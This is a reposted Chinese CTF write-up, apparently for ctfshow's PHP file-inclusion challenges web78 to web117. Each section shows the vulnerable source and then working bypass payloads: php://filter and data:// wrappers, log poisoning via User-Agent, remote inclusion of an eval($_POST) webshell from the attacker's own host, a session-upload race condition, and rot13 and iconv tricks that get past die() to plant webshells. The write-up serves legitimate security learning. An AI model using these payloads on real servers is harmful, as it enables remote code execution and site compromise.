IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow文件包含 -> 正文阅读

[PHP知识库]ctfshow文件包含

web78 无防护读取源码

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

伪协议读取后base64解密

php://filter/read=convert.base64-encode/resource=flag.php

web79 data协议

 <?php
 if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了php,php到是可以用大写绕过,但是文件名flag.php中的php不能大小写,所以用cat这一类的函数,就能避免输入文件名的php。也可以直接base64绕过php

?file=data://text/plain,<?PHP system('tac fl*');?>


?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

web80 input协议

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

php data被过滤,这里试了以下php://input成功了,看了一下bp,用到了包含日志文件

get:?file=phP://input
post: <?PHP system('tac fl*');?>

通过url或者UA操作后就会在日志中记录,这时再通过包含日志文件达到执行的效果

第一次:User-Agent: <?php system('tac fl*');?>

第二次:?file=/var/log/nginx/access.log

这题也能远程文件包含,上传后可直接蚁剑连接,或者直接命令执行

xxxx为自己网站:?file=http://xxxx/shell.txt
shell.txt中:<?php eval($_POST[1]);?>
1=system('tac f*');

web81 包含日志

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

多过滤了一个:,这里尝试包含一下日志文件,发现还是可以的,使用上一关的方法

第一次:User-Agent: <?php system('tac fl*');?>

第二次:?file=/var/log/nginx/access.log

多过滤了:,那么 远程文件包含肯定是没希望了

web82 session.upload_progress

新知识点,主要思路是通过上传可控的PHP_SESSION_UPLOAD_PROGRESS临时文件并将其当作跳板来访问/tmp/sess_xxxfreebuf讲解,由于临时文件的原因我们还需要进行条件竞争,可以写脚本,也能直接通过burp来进行爆破攻击。 下面是做题的步骤
先自己搞个网页,修改地址

<!DOCTYPE html>
<html>
<body>
<form action="http://ff1886cd-dda8-48a2-8182-c1b98d685973.challenge.ctf.show:8080" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

在这里插入图片描述

上传后抓包

在这里插入图片描述

这个网页就是我们用来上传临时文件的,接下来我们再通过题目网页来抓一个访问的网页,当然知道临时文件的地址也是利用这个漏洞的一个条件

在这里插入图片描述

上面两个网页搞好之后,就开始同时爆破(intruder),一个用来创建临时文件,一个用来访问,通过这样的条件竞争来达到利用的目的。

在这里插入图片描述

再修改命令进行cat flag
在这里插入图片描述

web83 删除未初始化session

web84 删除所有临时文件后文件包含

只要我爆破的够快,rm就跟不上我

web85 检查< 尖括号

web86 定义了包含路径

web87 rot13

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
} 

文件写入,这里可以通过base64或者rot13来绕过,因为题目中存在urldecode,所以需要两个url编码

php://filter/write=string.rot13/resource=1.php 两次url编码
get:?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
<?php system('tac f*');?>
post:content=<?cuc flfgrz('gnp s*');?>

访问1.php,发现成功写入,得到flag,也可base64,但是这个就挺简单的

web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

没有过滤://,那就直接cat flag

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg

web116 foremost分离图片

在这里插入图片描述

用这样的方法将视频另存在桌面上,丢到010里面发现PNG图片前缀,利用foremost将其分离出来

在这里插入图片描述
发现是源代码,前面的一些过滤都没有用,因为有file_get_contents()函数,所以直接读取flag即可,但是这样只能抓包查看

?file=flag.php

?file=compress.zlib:///var/www/html/flag.php

web117 绕过die

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

这里不管传什么都会先出现一个<?php die();?>,所以首先要绕过die(),如果file与contents采用base64,rot13之类的”特殊方式“识别,那么<?php die();?>也会因此被特殊化掉,这样他就失去了他的用处,可这里base与rot都被禁掉了,那么就得采用一些与此类似的东西php支持的字符集编码,这里采用UCS-2LE UCS-2BE:将字符两位两位进行交换

get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post: contents=?<hp pvela$(P_SO[T]1;)>?

随后直接在a.php页面中传参

get:a.php
post: 1=system('tac f*');
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-19 07:45:54  更:2021-09-19 07:48:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 4:16:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计